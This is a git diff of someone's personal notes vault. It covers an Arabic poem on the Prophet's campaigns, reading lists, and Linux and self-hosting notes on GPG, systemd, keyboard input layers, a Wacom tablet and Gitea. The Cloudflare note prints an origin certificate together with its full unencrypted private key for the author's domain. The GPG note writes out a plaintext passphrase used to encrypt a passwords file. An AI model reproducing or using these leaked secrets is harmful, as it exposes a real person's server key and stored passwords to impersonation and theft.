وفي حُنينٍ قد ظفر. جيش النبي وانتصر
|
||||
|
||||
والنصرُ جاءَ بعدما. اوشكَ ان ينهزما
|
||||
|
||||
اخروها فأثبتِ. غزوةُ جيشِ العُسرةِ
|
||||
️
|
||||
الى تبوكِ سارا. يُطَّهرُ الديارا
|
||||
|
||||
وبَعدها الوداعُ. في حجةٍ تُذاعُ
|
||||
|
||||
احداثُها قد شهرت. وفي الحديثِ ذكرت
|
||||
|
||||
اليومُ اكملتُ لكم. بها تمامُ دينَكُم
|
||||
|
||||
في عامِه الحادي عشر في يومه الثاني عشر
|
||||
14
Non Technical/20260429110504-ibarat.md
Executable file
@@ -0,0 +1,14 @@
|
||||
Volume 1: 1 - 1890 (N1: 117 - 938 = 821)
|
||||
Volume 2: 1891 - 3948 (N1: 939 - 1770 = 832)
|
||||
Volume 3: 3949 - 5639 (N1: 1771 - 2546 = 775)
|
||||
Volume 4: 5640 - 7563 (N1: 2547 - 3366 = 819)
|
||||
|
||||
# 939 -
|
||||
|
||||
28 - 966
|
||||
16 - 982
|
||||
5 - 988
|
||||
9 - 996
|
||||
|
||||
938 - 117 = 821
|
||||
1770 - 939 = 831
|
||||
21
Non Technical/Non Technical MOC.md
Executable file
@@ -0,0 +1,21 @@
|
||||
- [Books MOC](id:63314cff-3a3f-49b4-9e76-4a359c51f55f)
|
||||
|
||||
- [RSS Articles](id:3a8274ef-f2fe-486d-9caf-0c56982b9917)
|
||||
|
||||
- [Recipes MOC](id:65F747B1-3CB2-429A-9E26-ED8BC169E689)
|
||||
|
||||
- [Proverbs](id:45eefd5b-a3d8-4b83-84ea-5a6984025755)
|
||||
|
||||
- [Resources](id:023285a5-af32-4143-91e7-e0942a2635ad)
|
||||
|
||||
- [Finances](id:79ba54e3-d300-4352-a7e6-3e7ec342cca3)
|
||||
|
||||
- [Decluttering Plan](id:46c01e4f-4363-4017-9bb8-ef313266d5e2)
|
||||
|
||||
- [Chrome Tabs Backup](id:cf614dfb-f764-4689-be69-e0166f4b9260)
|
||||
|
||||
- [Memorisation Plan](id:fbf6843c-85cc-43ba-b86c-c227a2b47b31)
|
||||
|
||||
- [Substack Articles](id:e7f3b897-72ca-45f1-8084-decf1b25c3d4)
|
||||
|
||||
- [Deen MOC](id:4087e241-5c2a-4756-81a3-a98904231afb)
|
||||
26
Non Technical/z resources.md
Executable file
@@ -0,0 +1,26 @@
|
||||
# Articles:
|
||||
|
||||
- <https://www.reddit.com/r/decaf/comments/1j2fpj9/lots_of_ppl_unmotivated_off_caffeine_we_need_to/>
|
||||
- <https://islamqa.org/hanafi/qibla-hanafi/35639/shared-ownership-schemes/>
|
||||
- <https://www.islamicfinanceguru.com/articles/shared-equity-schemes-alternative-islamic-mortgages>
|
||||
|
||||
# Interesting things to read up:
|
||||
|
||||
- <https://en.wikipedia.org/wiki/2024_CrowdStrike-related_IT_outages>
|
||||
- <https://fortune.com/2025/07/23/ai-coding-tool-replit-wiped-database-called-it-a-catastrophic-failure/>
|
||||
- <https://www.noahzender.com/ideas#all-ideas>
|
||||
- <https://shvetsm.github.io/posts/the-best-engineers-write-less-code/>
|
||||
- <https://css-tricks.com/technical-writing-in-the-ai-age/>
|
||||
- <https://www.elenaverna.com/p/youll-lose-your-job-in-202>
|
||||
- <https://performance.dev/how-is-linear-so-fast-a-technical-breakdown>
|
||||
- <https://www.sqlshack.com/debugging-stored-procedures-sql-server-management-studio-ssms/>
|
||||
- <https://techcrunch.com/2026/05/27/tech-ceos-are-apparently-suffering-from-ai-psychosis/>
|
||||
- <https://spin.atomicobject.com/using-agents-growth/>
|
||||
- https://www.vatican.va/content/leo-xiv/en/encyclicals/documents/20260515-magnifica-humanitas.html
|
||||
# Server resources:
|
||||
|
||||
- <https://search.brave.com/search?q=docmost>
|
||||
|
||||
# Repos
|
||||
|
||||
- <https://github.com/0-AI-UG/cate>
|
||||
3
Technical/20250402185735-java_moc.md
Executable file
@@ -0,0 +1,3 @@
|
||||
Use this node for pom.xml: [maven-pom-file](id:bcd41e87-120c-455c-8898-996ddaa41f75)
|
||||
|
||||
Tests: [java-junit-testing](id:7b8de14c-a73e-4c92-a403-a9a1c419c0b3)
|
||||
1
Technical/20250723190656-java_junit_testing.md
Executable file
@@ -0,0 +1 @@
|
||||
<https://www.geeksforgeeks.org/software-testing/introduction-to-junit-5/>
|
||||
3
Technical/20250918120519-misc_moc.md
Executable file
@@ -0,0 +1,3 @@
|
||||
# [wedding<sub>moc</sub>](id:c1de3972-e932-48fd-8065-3d89dad58007)
|
||||
|
||||
# [workflow-moc](id:8CE93986-280B-45BD-9DF2-5D06586DDDE7)
|
||||
7
Technical/20250926151524-workflow_moc.md
Executable file
@@ -0,0 +1,7 @@
|
||||
What are the use cases of the macbook and the pc:
|
||||
|
||||
# Macbook
|
||||
|
||||
##
|
||||
|
||||
# PC
|
||||
25
Technical/20251101123637-backlog.md
Executable file
@@ -0,0 +1,25 @@
|
||||
****This backlog serves as a repository for ideas, tasks, and projects that are not currently being worked on but may be of interest in the future. It is a place to capture and organise thoughts, plans, and potential initiatives that can be revisited when the time is right. They are not limited to this website or the Org Web.****
|
||||
|
||||
# Ideas
|
||||
|
||||
- Building a code smells coverage checker for the `output` dir
|
||||
|
||||
- Powershell script to give insights on the build scripts. This can be fed into the daily logs/discord pipeline
|
||||
|
||||
- have a central point where we can see the server details and documentations
|
||||
|
||||
- Have a two way sync between the cookbook and org-roam notes (see: [swagger](https://nextcloud.github.io/cookbook/dev/api/0.1.3/index.html#/Recipes/listRecipes))
|
||||
|
||||
- Sort out all the iphone chrome nitter/xcancel links (so we don't go there again)
|
||||
|
||||
- sort out all the book notes. the current ones are:
|
||||
|
||||
- the science of self-discipline
|
||||
- clean coder
|
||||
- so good they can't ignore you
|
||||
|
||||
# Checked:
|
||||
|
||||
- Source of truth for mostly used functions
|
||||
|
||||
# To sort:
|
||||
1
Technical/20251214210526-useful_c_imports.md
Executable file
@@ -0,0 +1 @@
|
||||
- SDL2 [See this](https://wiki.libsdl.org/SDL2/FrontPage)
|
||||
9
Technical/20251223220531-technical_commonplace.md
Executable file
@@ -0,0 +1,9 @@
|
||||
In this commonplace, I will collect technical notes and insights that I find useful. This is a work in progress, and I will update it as I learn new things.
|
||||
|
||||
# Articles:
|
||||
|
||||
- <https://forge.medium.com/a-simple-tool-for-personal-growth-dc1e822aa229>
|
||||
|
||||
# Github:
|
||||
|
||||
- <https://github.com/XEphem/XEphem?tab=readme-ov-file>
|
||||
9
Technical/20260111204228-rss_articles.md
Executable file
@@ -0,0 +1,9 @@
|
||||
# [Downdetector and the real cost of no upstream dependencies](https://blog.pragmaticengineer.com/downdetector-and-the-real-cost-of-no-upstream-dependencies/)
|
||||
|
||||
# [Loneliness Isn’t Just Something We Endure](https://coffeeandjunk.substack.com/p/loneliness)
|
||||
|
||||
# [What are dormant volcanoes good for? Copper mining](https://bigthink.com/technology-innovation/dormant-volcanoes-copper-mining)
|
||||
|
||||
# [Where Have All the Geniuses Gone?](https://coffeeandjunk.substack.com/p/genius)
|
||||
|
||||
# [Not Everything Has to Be Timeless](https://coffeeandjunk.substack.com/p/forever)
|
||||
1
Technical/20260117194854-programming_projects.md
Executable file
@@ -0,0 +1 @@
|
||||
- <https://github.com/codecrafters-io/build-your-own-x>
|
||||
11
Technical/Linux/Arch Linux.md
Executable file
@@ -0,0 +1,11 @@
|
||||
# Links:
|
||||
|
||||
- <https://www.geeksforgeeks.org/how-to-install-intellij-idea-on-arch-based-linux-distributionsmanjaro/>
|
||||
|
||||
|
||||
|
||||
``` shell
|
||||
|
||||
sudo fuser -k 8000/tcp
|
||||
|
||||
```
|
||||
35
Technical/Linux/GPG Encryption.md
Executable file
@@ -0,0 +1,35 @@
|
||||
---
|
||||
note type:
|
||||
- note
|
||||
date: 2026-06-03
|
||||
done: true
|
||||
---
|
||||
If you want to encrypt a file, use the following command:
|
||||
|
||||
``` bash
|
||||
|
||||
gpg -c file.txt
|
||||
|
||||
# options include :
|
||||
# gpg -c file.txt : for symmetric encryption
|
||||
# gpg -d file.txt.gpg : to decrypt the file
|
||||
# gpg --batch -c --passphrase mypassphrase file.txt : accepts passphrase right from command line
|
||||
|
||||
```
|
||||
|
||||
and to decrypt, use:
|
||||
|
||||
``` bash
|
||||
|
||||
gpg -d file.txt
|
||||
|
||||
# You have to wait 10 minutes before you can get prompted for a password, before this, it will
|
||||
# decrypt without the passphrase.
|
||||
|
||||
```
|
||||
|
||||
`gpg –batch -c –passphrase Shakkal123! passwords.md`
|
||||
|
||||
`gpg –batch -d –passphrase Shakkal123! passwords.md.gpg`
|
||||
|
||||
`gpg –batch –output passwords.md -d –passphrase Shakkal123! passwords.md.gpg`
|
||||
179
Technical/Linux/Keyboard.md
Executable file
@@ -0,0 +1,179 @@
|
||||
# Keyboard inputs
|
||||
|
||||
This all comes from the fact that a "key press" isn't one thing — it's
|
||||
a stack of specs and translations from **keyboard hardware → USB/HID →
|
||||
Linux kernel → userspace (XKB/Wayland) → Hyprland binds**.
|
||||
|
||||
## 1\. Big picture: what happens when you press a key?
|
||||
|
||||
When you hit a key (like your "lock" key), roughly this happens:
|
||||
|
||||
``` text
|
||||
Physical switch on keyboard
|
||||
↓
|
||||
Keyboard firmware → USB HID "usage" (e.g. 0x07:0xE3 = Left GUI)
|
||||
↓
|
||||
Linux kernel input subsystem (evdev) → KEY_LEFTMETA (code 125)
|
||||
↓
|
||||
libinput / xkbcommon → keysyms (like Super_L, L, etc.)
|
||||
↓
|
||||
Hyprland → your `bind = SUPER, L, exec, ...`
|
||||
```
|
||||
|
||||
The "topic" we've been poking at is basically **understanding each layer
|
||||
in that stack**.
|
||||
|
||||
-----
|
||||
|
||||
## 2\. USB HID: where `700e3` comes from
|
||||
|
||||
Modern USB keyboards follow the **USB HID (Human Interface Device)
|
||||
specification**. This spec defines **Usage Tables**: numerical codes for
|
||||
things like keys, buttons, axes, etc.
|
||||
|
||||
- The keyboard page is **Usage Page 0x07 (Keyboard/Keypad)**.
|
||||
|
||||
- In your `evtest` output, `MSC_SCAN value 700e3` means:
|
||||
|
||||
- `0x07` (Keyboard page)
|
||||
- `0xE3` (Left GUI / "Windows/Super" key)
|
||||
|
||||
You can see the official tables here (PDF):
|
||||
|
||||
- **HID Usage Tables (includes Keyboard/Keypad page 0x07)**
|
||||
<https://usb.org/sites/default/files/hut1_21.pdf>
|
||||
([USB Implementers Forum](https://usb.org/sites/default/files/hut1_21.pdf?utm_source=chatgpt.com))
|
||||
|
||||
If you scroll to the **Keyboard/Keypad Page (0x07)** section, it lists all
|
||||
the key usages: A, B, C, modifiers, function keys, etc. There's also a
|
||||
standalone Keyboard/Keypad-page extract people mirror, like this PDF
|
||||
snippet:
|
||||
([d1.amobbs.com](https://d1.amobbs.com/bbs_upload782111/files_47/ourdev_692986N5FAHU.pdf?utm_source=chatgpt.com))
|
||||
|
||||
So:
|
||||
|
||||
- `700e3` = Page `0x07`, Usage `0xE3` → *Keyboard Left GUI*
|
||||
- `7000f` = Page `0x07`, Usage `0x0F` → *Keyboard L* key
|
||||
|
||||
That's how we knew your lock key was sending **Super + L**.
|
||||
|
||||
-----
|
||||
|
||||
## 3\. Linux input subsystem: `EV_MSC`, `EV_KEY`, `KEY_LEFTMETA`
|
||||
|
||||
Linux has a dedicated **input subsystem** in the kernel (`drivers/input`,
|
||||
`drivers/hid` etc.) that takes those HID usages and turns them into a
|
||||
unified stream of **input events**.
|
||||
([Linux Kernel Documentation](https://docs.kernel.org/input/input.html?utm_source=chatgpt.com))
|
||||
|
||||
Key ideas:
|
||||
|
||||
- Devices expose `/dev/input/eventX` nodes.
|
||||
|
||||
- Each event is a struct with:
|
||||
|
||||
- `type` (e.g. =EV<sub>KEY</sub>=, `EV_MSC`, `EV_REL`, `EV_SYN`)
|
||||
- `code` (e.g. =KEY<sub>L</sub>=, `KEY_LEFTMETA`)
|
||||
- `value` (pressed = 1, released = 0, repeat = 2)
|
||||
|
||||
Docs worth bookmarking:
|
||||
|
||||
- **Linux input subsystem overview**
|
||||
<https://docs.kernel.org/input/input.html>
|
||||
([Linux Kernel Documentation](https://docs.kernel.org/input/input.html?utm_source=chatgpt.com))
|
||||
|
||||
- **Input event types and codes (`event-codes.txt`)**
|
||||
<https://www.kernel.org/doc/Documentation/input/event-codes.txt>
|
||||
([Kernel.org](https://www.kernel.org/doc/Documentation/input/event-codes.txt?utm_source=chatgpt.com))
|
||||
|
||||
The **keycode definitions** (`KEY_L`, `KEY_LEFTMETA`, etc.) live in:
|
||||
|
||||
- `include/uapi/linux/input-event-codes.h` in the kernel source Example
|
||||
mirror:
|
||||
<https://raw.githubusercontent.com/torvalds/linux/master/include/uapi/linux/input-event-codes.h>
|
||||
([GitHub](https://raw.githubusercontent.com/torvalds/linux/master/include/uapi/linux/input-event-codes.h?utm_source=chatgpt.com))
|
||||
|
||||
When `evtest` prints:
|
||||
|
||||
``` text
|
||||
type 4 (EV_MSC), code 4 (MSC_SCAN), value 700e3
|
||||
type 1 (EV_KEY), code 125 (KEY_LEFTMETA), value 0
|
||||
```
|
||||
|
||||
that means:
|
||||
|
||||
- `EV_MSC / MSC_SCAN` → "Here is the raw hardware scancode" (from USB
|
||||
HID).
|
||||
- `EV_KEY / KEY_LEFTMETA` → "Linux mapped that scancode to logical key
|
||||
LEFTMETA".
|
||||
|
||||
-----
|
||||
|
||||
## 4\. XKB / xkbcommon: mapping to actual characters & modifiers
|
||||
|
||||
Above the kernel, you've got an extra mapping layer that says:
|
||||
|
||||
> For keycode N, with this layout, when Shift is held, produce this
|
||||
> character/symbol.
|
||||
|
||||
On X11 this is handled by **XKB (X Keyboard Extension)**; on Wayland
|
||||
compositors (including Hyprland) the same ideas are implemented via
|
||||
**xkbcommon**.
|
||||
|
||||
Docs:
|
||||
|
||||
- **X Keyboard Extension (XKB) protocol spec**
|
||||
<https://www.x.org/releases/X11R7.7/doc/kbproto/xkbproto.html>
|
||||
([X.Org](https://www.x.org/releases/X11R7.7/doc/kbproto/xkbproto.html?utm_source=chatgpt.com))
|
||||
|
||||
- **Arch Wiki: X keyboard extension** (good high-level intro)
|
||||
<https://wiki.archlinux.org/title/X_keyboard_extension>
|
||||
([ArchWiki](https://wiki.archlinux.org/title/X_keyboard_extension?utm_source=chatgpt.com))
|
||||
|
||||
- A nice "practical" walkthrough of XKB concepts:
|
||||
[[https://medium.com/\[cite/t:@damko/a-simple-humble-but-comprehensive-guide-to-xkb-for-linux-6f1ad5e13450](https://medium.com/%5Bcite/t:@damko/a-simple-humble-but-comprehensive-guide-to-xkb-for-linux-6f1ad5e13450)](https://medium.com/@damko/a-simple-humble-but-comprehensive-guide-to-xkb-for-linux-6f1ad5e13450)\]
|
||||
([Medium](https://medium.com/%40damko/a-simple-humble-but-comprehensive-guide-to-xkb-for-linux-6f1ad5e13450?utm_source=chatgpt.com))
|
||||
|
||||
Hyprland, Sway, etc. all use libinput + xkbcommon under the hood to
|
||||
interpret those keycodes and translate them into keysyms and modifiers.
|
||||
|
||||
-----
|
||||
|
||||
## 5\. Hyprland / your config: where the bindings fit in
|
||||
|
||||
Hyprland sits at the top of this stack:
|
||||
|
||||
- It listens to the input events (via libinput).
|
||||
- It sees keysyms/modifiers (e.g. =Super=, `L`).
|
||||
- It matches them against your config:
|
||||
|
||||
<!-- end list -->
|
||||
|
||||
``` ini
|
||||
bind = SUPER, L, exec, hyprlock
|
||||
```
|
||||
|
||||
So your keyboard's "lock" key:
|
||||
|
||||
1. Firmware sends HID usages `0xE3` (Left GUI) and `0x0F` (L).
|
||||
2. Linux maps them to `KEY_LEFTMETA` (125) and `KEY_L` (38).
|
||||
3. xkbcommon maps that to `Super` + `L`.
|
||||
4. Hyprland says: "Ah, SUPER+L → run `hyprlock`".
|
||||
|
||||
The "topic" you stumbled into is just **peeling back each abstraction
|
||||
layer**.
|
||||
|
||||
-----
|
||||
|
||||
## 6\. Handy tools & libraries if you want to go deeper
|
||||
|
||||
- `evtest`, `libinput debug-events`, `showkey` → To watch what your
|
||||
keyboard is actually sending.
|
||||
|
||||
- **Python-evdev** – Python bindings to read `/dev/input/event*`
|
||||
yourself: <https://python-evdev.readthedocs.io/>
|
||||
([python-evdev.readthedocs.io](https://python-evdev.readthedocs.io/?utm_source=chatgpt.com))
|
||||
|
||||
- Linux input subsystem docs again:
|
||||
<https://docs.kernel.org/driver-api/input.html>
|
||||
([Linux Kernel Documentation](https://docs.kernel.org/driver-api/input.html?utm_source=chatgpt.com))
|
||||
12
Technical/Linux/Linux MOC.md
Executable file
@@ -0,0 +1,12 @@
|
||||
---
|
||||
note type:
|
||||
- moc
|
||||
date: 2026-06-03
|
||||
done: true
|
||||
---
|
||||
- [[Wacom]]
|
||||
- [[Systemd Services]]
|
||||
- [[GPG Encryption]]
|
||||
- [[Arch Linux]]
|
||||
- [[i3 WM]]
|
||||
- [[Keyboard]]
|
||||
45
Technical/Linux/Systemd Services.md
Executable file
@@ -0,0 +1,45 @@
|
||||
---
|
||||
note type:
|
||||
- note
|
||||
date: 2026-06-03
|
||||
done: true
|
||||
---
|
||||
# To add a systemctl
|
||||
|
||||
- create a new systemd service file:
|
||||
`sudo nano /etc/systemd/system/name.service`
|
||||
|
||||
- example content:
|
||||
`[Unit]`
|
||||
`Description=Watch TODO Directory and Update Master Task List`
|
||||
`After=network.target`
|
||||
|
||||
`[Service]`
|
||||
`ExecStart=/usr/local/bin/watch-todo.sh`
|
||||
`Restart=always`
|
||||
`User=zaine`
|
||||
`WorkingDirectory=/home/zaine/master-folder/org<sub>files</sub>/todo`
|
||||
`StandardOutput=append:/var/log/watch-todo.log`
|
||||
`StandardError=append:/var/log/watch-todo.log`
|
||||
|
||||
\[Install\]
|
||||
WantedBy=multi-user.target
|
||||
|
||||
- reload and start:
|
||||
|
||||
`sudo systemctl daemon-reload`
|
||||
`sudo systemctl enable watch-todo.service`
|
||||
`sudo systemctl start watch-todo.service`
|
||||
|
||||
# To remove a systemctl service:
|
||||
|
||||
```
|
||||
systemctl stop \[servicename\]
|
||||
systemctl disable \[servicename\]
|
||||
rm *etc/systemd/system*\[servicename\]
|
||||
rm *etc/systemd/system*\[servicename\] \# and symlinks that might be related
|
||||
rm *usr/lib/systemd/system*\[servicename\]
|
||||
rm *usr/lib/systemd/system*\[servicename\] \# and symlinks that might be related
|
||||
systemctl daemon-reload
|
||||
systemctl reset-failed
|
||||
```
|
||||
58
Technical/Linux/Wacom.md
Executable file
@@ -0,0 +1,58 @@
|
||||
---
|
||||
note type:
|
||||
- note
|
||||
date: 2026-06-03
|
||||
done: true
|
||||
---
|
||||
The command: `xsetwacom --list` gave me:
|
||||
|
||||
``` bash
|
||||
Wacom One by Wacom M Pen stylus id: 12 type: STYLUS
|
||||
Wacom One by Wacom M Pen eraser id: 13 type: ERASER
|
||||
```
|
||||
|
||||
Then, in order to map the stylus to a single monitor i needed to know my monitor mappings via `xrandr`:
|
||||
|
||||
``` bash
|
||||
|
||||
Screen 0: minimum 8 x 8, current 3840 x 1080, maximum 32767 x 32767
|
||||
DP-0 connected primary 1920x1080+0+0 (normal left inverted right x axis y axis) 600mm x 340mm
|
||||
1920x1080 60.00*+ 143.85 119.98 59.94
|
||||
1680x1050 59.95
|
||||
1440x900 59.89
|
||||
1440x576 50.00
|
||||
1440x480 59.94
|
||||
1280x1024 75.02 60.02
|
||||
1280x960 60.00
|
||||
1280x720 60.00 59.94
|
||||
1152x864 75.00
|
||||
1024x768 75.03 70.07 60.00
|
||||
800x600 75.00 72.19 60.32 56.25
|
||||
720x480 59.94
|
||||
640x480 75.00 72.81 59.94 59.93
|
||||
DP-1 disconnected (normal left inverted right x axis y axis)
|
||||
HDMI-0 connected 1920x1080+1920+0 (normal left inverted right x axis y axis) 521mm x 293mm
|
||||
1920x1080 60.00*+ 59.94 50.00
|
||||
1680x1050 59.95
|
||||
1600x900 60.00
|
||||
1440x900 59.89
|
||||
1280x1024 60.02
|
||||
1280x800 59.81
|
||||
1280x720 60.00 59.94 50.00
|
||||
1024x768 70.07 60.00
|
||||
800x600 72.19 60.32 56.25
|
||||
720x576 50.00
|
||||
720x480 59.94
|
||||
640x480 72.81 59.94
|
||||
DP-2 disconnected (normal left inverted right x axis y axis)
|
||||
DP-3 disconnected (normal left inverted right x axis y axis)
|
||||
DP-4 disconnected (normal left inverted right x axis y axis)
|
||||
DP-5 disconnected (normal left inverted right x axis y axis)
|
||||
|
||||
|
||||
|
||||
```
|
||||
|
||||
Then I simply map it via:
|
||||
|
||||
`xsetwacom set "Wacom One by Wacom M Pen stylus" MapToOutput HEAD-0`
|
||||
10
Technical/Linux/i3 WM.md
Executable file
@@ -0,0 +1,10 @@
|
||||
# Commands:
|
||||
|
||||
**Mod1 = Win Key**
|
||||
|
||||
`$mod+Enter = Open Terminal`
|
||||
`$mod+s = Stacked layout`
|
||||
`$mod+e = Default layout`
|
||||
`$mod+d = dmenu`
|
||||
|
||||
# Config file:
|
||||
16
Technical/Server/Actual (finance).md
Executable file
@@ -0,0 +1,16 @@
|
||||
# Notes:
|
||||
|
||||
- \<2026-04-01 Wed\>: There is one transaction waiting to show on the statement for \<2026-03-31 Tue\>. Will need to redo March full. \[ \]
|
||||
|
||||
# Setup
|
||||
|
||||
In order to update the balance, I have decided for the moment to export as `csv` the monthly transactions from Halifax. Place the file into the `~/master-folder/attachments/bank-statements/` folder and name it as `halifax-YYYY-MM.csv`, where `YYYY` is the four-digit year and `MM` is the two-digit month.
|
||||
|
||||
Then run the following command in the terminal whilst being in the `~/master-folder/projects/scripts/` directory:
|
||||
|
||||
``` python
|
||||
python3 clean-halifax-actual.py ../../attachments/bank-statements/halifax-YYYY-MM.csv ../../attachments/bank-statements/halifax-YYYY-MM-cleaned.csv
|
||||
|
||||
```
|
||||
|
||||
Then you can go to the website `https://actual.zainezq.com/` and upload the cleaned file to update the balance.
|
||||
79
Technical/Server/Cloudflare.md
Executable file
@@ -0,0 +1,79 @@
|
||||
---
|
||||
note type:
|
||||
- server
|
||||
- note
|
||||
date: 2026-06-03
|
||||
done: true
|
||||
---
|
||||
# Go to: <https://dash.cloudflare.com/49b791cb8f903fdcab3db1cfa124321b/one/access-controls/apps>
|
||||
|
||||
This is to edit the access control in the zero trust cloudflare.
|
||||
|
||||
# Origin certificate
|
||||
|
||||
```
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIEojCCA4qgAwIBAgIUGvC9u3SW6C6y5uOcQjul2hyghmgwDQYJKoZIhvcNAQEL
|
||||
BQAwgYsxCzAJBgNVBAYTAlVTMRkwFwYDVQQKExBDbG91ZEZsYXJlLCBJbmMuMTQw
|
||||
MgYDVQQLEytDbG91ZEZsYXJlIE9yaWdpbiBTU0wgQ2VydGlmaWNhdGUgQXV0aG9y
|
||||
aXR5MRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRMwEQYDVQQIEwpDYWxpZm9ybmlh
|
||||
MB4XDTI2MDQwOTEyNDYwMFoXDTQxMDQwNTEyNDYwMFowYjEZMBcGA1UEChMQQ2xv
|
||||
dWRGbGFyZSwgSW5jLjEdMBsGA1UECxMUQ2xvdWRGbGFyZSBPcmlnaW4gQ0ExJjAk
|
||||
BgNVBAMTHUNsb3VkRmxhcmUgT3JpZ2luIENlcnRpZmljYXRlMIIBIjANBgkqhkiG
|
||||
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwnW7egyN30IndtYbCdk4EA9IVb+icJo4d9mR
|
||||
Bsiw4TJ6YSlnFkVXuHl1iitSZiMnlGxHke5AsDGm8rnyCa5BzT/n+VI27WwyncoO
|
||||
PJXjSjOFIWVg/VAaHJUwXcc+taqNn/U3661iSN+1TlJFgpVwF6ei6t+raJcCAXxN
|
||||
ajrA3ksf4FhMWQcpdi6J0ecM8LWsa94nNHFZJCH8nTGsND90zw7ueOMu5JIhc6Ru
|
||||
0Iw5kke2jIkhVQpg4DYTzKoEa1SmgGCZAPBlBaOc7Ii4VpVMmydhRh0TFDZbe5Bz
|
||||
lgVMslOSj1qnq4o7nFCk0LY8gfSykbuKJEHr/aboOEkot+E4kwIDAQABo4IBJDCC
|
||||
ASAwDgYDVR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcD
|
||||
ATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBThHBF5Sw8X+uuHUB0NIANwIakBsjAf
|
||||
BgNVHSMEGDAWgBQk6FNXXXw0QIep65TbuuEWePwppDBABggrBgEFBQcBAQQ0MDIw
|
||||
MAYIKwYBBQUHMAGGJGh0dHA6Ly9vY3NwLmNsb3VkZmxhcmUuY29tL29yaWdpbl9j
|
||||
YTAlBgNVHREEHjAcgg0qLnphaW5lenEuY29tggt6YWluZXpxLmNvbTA4BgNVHR8E
|
||||
MTAvMC2gK6AphidodHRwOi8vY3JsLmNsb3VkZmxhcmUuY29tL29yaWdpbl9jYS5j
|
||||
cmwwDQYJKoZIhvcNAQELBQADggEBALfCfzqPuLXLepdyY/O8j9+0kiwdgby6ir1x
|
||||
1O8HKm0y47WZx7nntromSo4Bgq+R1KglUCvkcy+kCwlsfFk1WmCgVMiE9WCnn6Pv
|
||||
NriftoM5Q1tiHeSR0kLOJ9mROmiy5roThMm2EOWCjhWw2jJzVfvTj1s651dpmGRj
|
||||
E6BoX6NJr9NvzVEeCqhgjoiCXIv5bfGEwl1Mj/mIj2/GIbLiayT90vi8T89ixgca
|
||||
RTLlmRiEEJnKP0NN45vGYjgtJCgkXtCDL0lfSBt5FuEXq4sXIjDhhIn/hH004doJ
|
||||
fHlwK4tTfpZPYterSRRuy4zSgV7IekKS2z9pjCloQbDbMjqnAKI=
|
||||
-----END CERTIFICATE-----
|
||||
|
||||
|
||||
```
|
||||
|
||||
# Private key
|
||||
|
||||
```
|
||||
-----BEGIN PRIVATE KEY-----
|
||||
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDCdbt6DI3fQid2
|
||||
1hsJ2TgQD0hVv6Jwmjh32ZEGyLDhMnphKWcWRVe4eXWKK1JmIyeUbEeR7kCwMaby
|
||||
ufIJrkHNP+f5UjbtbDKdyg48leNKM4UhZWD9UBoclTBdxz61qo2f9TfrrWJI37VO
|
||||
UkWClXAXp6Lq36tolwIBfE1qOsDeSx/gWExZByl2LonR5wzwtaxr3ic0cVkkIfyd
|
||||
Maw0P3TPDu544y7kkiFzpG7QjDmSR7aMiSFVCmDgNhPMqgRrVKaAYJkA8GUFo5zs
|
||||
iLhWlUybJ2FGHRMUNlt7kHOWBUyyU5KPWqerijucUKTQtjyB9LKRu4okQev9pug4
|
||||
SSi34TiTAgMBAAECggEADPLiBQKI//Dbx+IB8unv/cHGw077dhwO3owySA1dGeHO
|
||||
nGGxZ54+dR5BYW35EqwMmqmLKoB+9jyYLVmMcHCWGSDERanf1nd591/ZCtfARtSf
|
||||
bNXfW37V/klA6z21Q0uUGq6thpgJD2k2HX0E++kPicOz6YfzVgeYLpkkXoqDBUpF
|
||||
dzC+eGZDzjI1BECoW/N/U3P2F8nv7fHv/4xVudkMehlkPJ56BiMbx2K15jvh2Dyz
|
||||
znZvelNNw/XRHv29GgOkggh4BQRDXHl3/mTMTe8JmLWU560rNZ99xjpv1lrbqwuO
|
||||
W5WNRKcQRXCELXsEDiH1dEsteU1wVUaOyZSzEg6OYQKBgQD4InmF5kuhPrgnNwKu
|
||||
uRYZB60JFvkVdxal1xIGDwjylWBVsWWJEIAko3wbt6iI2/r1Est4tsBnap9nMciG
|
||||
Zn4FKJRAj0bZW6CwFHUZy6q91qK7JFM1e1dcrDXhgFOCG4rI802roPSjCo/rztkI
|
||||
LEQomGbMVs/86KtqaSRqVjGXXQKBgQDIn7StCglsRD/+RDWFIgtSOJbdIe0imP1h
|
||||
ewRa7iSKBMbc8ZFwDuZ3JxDI1a0DTQdMM3MpZRtGO2urnnepNV3fqSnZaaruaEL0
|
||||
1IKvCtZn1MHMEi4gErqpEBqgHfvSOIBvFhKQ6bbclmZJ5u1OFBrbu9EALfLk1Tkz
|
||||
Luje1fnArwKBgF7zIjlgtJQRIfqvjDE71f7h9w7BYbMbDOmM8PKskinxixl/dnEK
|
||||
hV5/yJ/6mV01gESDWqTomZt5K2IbpLX5RkPHEWPa76uA6m42hdDHJKDcHw0pi0Wt
|
||||
2vI1W7DcoBfrXiIjKBeC0doJ0qTTVC1Scwpttvh+R7xpdB6V+T9PmE5pAoGBALhm
|
||||
On31xLVzgdImRX8JzJgVFW1JOpnbPsFzfYxKaOFHBLWdf40c1O3dxUqjQ3POQA/l
|
||||
FkuM9+W0xgEnFVs8hv0FkkaYHhklUa2RClDzSCCFaF82spiePl0YRTC4fnY5oqr4
|
||||
Abaaao4T2w7AJ4vlZM5ksfRVR3TXGs0Vp8rxp65XAoGAPNgi8uz9zcAp5tUizZVg
|
||||
6nP68Cws6I3PmExMnbr2BmYAi2tl2NY93PQG1OT9MZ51Z0W+ynM6nTzti2zm7iXO
|
||||
Rs4AAsErEG1YDt4U0GExJdoEBIJ14+9Q6PSYPAMBbx0nv1WA1hvdvDHIUaYNPWqZ
|
||||
wuSVw419xlxUkj9uCb1kQoo=
|
||||
-----END PRIVATE KEY-----
|
||||
|
||||
|
||||
```
|
||||
24
Technical/Server/Gitea.md
Executable file
@@ -0,0 +1,24 @@
|
||||
---
|
||||
note type:
|
||||
- server
|
||||
- note
|
||||
date: 2026-06-03
|
||||
done: true
|
||||
---
|
||||
In order to connect to the gitea server and run git commands, you will need to do the following:
|
||||
|
||||
Run `cat ~/.ssh/id_ed25519.pub`
|
||||
|
||||
Copy that key and add it to the ssh keys in gitea
|
||||
|
||||
`ssh-keygen -t ed25519 -C "windows-gitea"`
